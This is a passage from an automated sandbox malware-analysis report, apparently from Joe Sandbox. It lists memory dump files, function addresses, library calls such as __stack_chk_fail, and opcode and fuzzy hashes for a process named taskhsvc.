                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort
                                        • String ID:
                                        • API String ID: 646538096-0
                                        • Opcode ID: da6f713f20214022ff226a5fc942734d8d3055ee2621fe72ab4d5684129e63c2
                                        • Instruction ID: ab577ed800b5cdb2f0d6254061b1be7d73329286221e4b7ab45e32619925336a
                                        • Opcode Fuzzy Hash: da6f713f20214022ff226a5fc942734d8d3055ee2621fe72ab4d5684129e63c2
                                        • Instruction Fuzzy Hash: 7531A3B4A083559FCB40EFA8C5857AEBBF0BF48300F10881DE495AB341D7749A419B62
                                        Function 00C74695 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: a93710dcdc2613661c9f6cca421b4e249ad520c5a57e4aaec3b1e0c9dcf370fd
                                        • Instruction ID: c31a3bfd04168aaf4a9ffb53b15a13747d8a54d0f789d5952c070861369325ff
                                        • Opcode Fuzzy Hash: a93710dcdc2613661c9f6cca421b4e249ad520c5a57e4aaec3b1e0c9dcf370fd
                                        • Instruction Fuzzy Hash: 392103B4E0020A9FCB04DFAAC585A6EBBF0FB09304F05841AE914E7350E334EA85CF91
                                        Function 00C61FCB Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C61DC5: abort.MSVCRT ref: 00C61E5F
                                          • Part of subcall function 00C61DC5: __stack_chk_fail.LIBSSP-0 ref: 00C61FBD
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C6205D
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort
                                        • String ID:
                                        • API String ID: 646538096-0
                                        • Opcode ID: be4cafba4aebf5b3f62e27ff262b6ec50df72b2cdca9eac81f2af7e3a1432cc4
                                        • Instruction ID: 8d874879d5e4621686757edd69a35348ed3e1a2cff3d20998fe5b7ddeb591e11
                                        • Opcode Fuzzy Hash: be4cafba4aebf5b3f62e27ff262b6ec50df72b2cdca9eac81f2af7e3a1432cc4
                                        • Instruction Fuzzy Hash: C6216AB8E092499FCB04CFA8D59099EBBF1BB8C310F00845EF898A7340D334AA00CF65
                                        Function 00D267DB Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D19B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D145AC), ref: 00D19B69
                                          • Part of subcall function 00D19D53: __stack_chk_fail.LIBSSP-0 ref: 00D19DB3
                                          • Part of subcall function 00D265E9: __stack_chk_fail.LIBSSP-0 ref: 00D26762
                                          • Part of subcall function 00D19B70: free.MSVCRT ref: 00D19BA5
                                          • Part of subcall function 00D19B70: free.MSVCRT ref: 00D19BC7
                                          • Part of subcall function 00D19B70: __stack_chk_fail.LIBSSP-0 ref: 00D19BE1
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2685E
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$free
                                        • String ID:
                                        • API String ID: 2817809126-0
                                        • Opcode ID: 24a56e24d3afa4eaabd84ea441772b30b7efcf5ac54a3fc2e27b23284608b3e6
                                        • Instruction ID: a5202881ff38830e3962eed03713af1316d98fd945861f7169eccf3c32f6e596
                                        • Opcode Fuzzy Hash: 24a56e24d3afa4eaabd84ea441772b30b7efcf5ac54a3fc2e27b23284608b3e6
                                        • Instruction Fuzzy Hash: EA111DB4E05209AFCB40DFA9E59199EFBF0EB08310F11852AE958E7300E634A9418FA1
                                        Function 00C1084E Relevance: 1.5, APIs: 1, Instructions: 42COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C108D0
                                          • Part of subcall function 00D1E69C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00CBC8F5), ref: 00D1E6D4
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
